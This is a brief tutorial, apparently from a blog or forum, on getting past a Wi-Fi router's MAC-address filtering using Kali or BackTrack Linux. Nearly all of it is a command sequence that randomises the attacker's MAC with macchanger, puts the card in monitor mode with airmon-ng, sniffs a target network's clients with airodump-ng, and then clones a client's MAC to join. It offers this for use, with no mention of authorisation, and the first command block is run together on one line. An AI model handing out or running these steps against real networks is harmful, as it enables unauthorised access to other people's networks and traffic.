Here’s a quick tutorial you can use to “hack” a wifi router which is set to Mac Filtering security using backtrack-linux.org / kali.org
Codeifconfig wlan0 down macchanger -r wlan0 ifconfig wlan0 up iwlist wlan0 scan ifconfig wlan0 down airmon-ng start wlan0 ifconfig mon0 down macchanger -r mon0 ifconfig mon0 up airodump-ng -c (CHANNEL) -a --bssid (MAC) mon0 airmon-ng stop mon0 macchanger -m (NEW MAC) wlan0 ifconfig wlan0 up
if mon0 is not created but instead wlan0mon use this to allow airmon-ng to work
ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up
airodump-ng wlan0mon
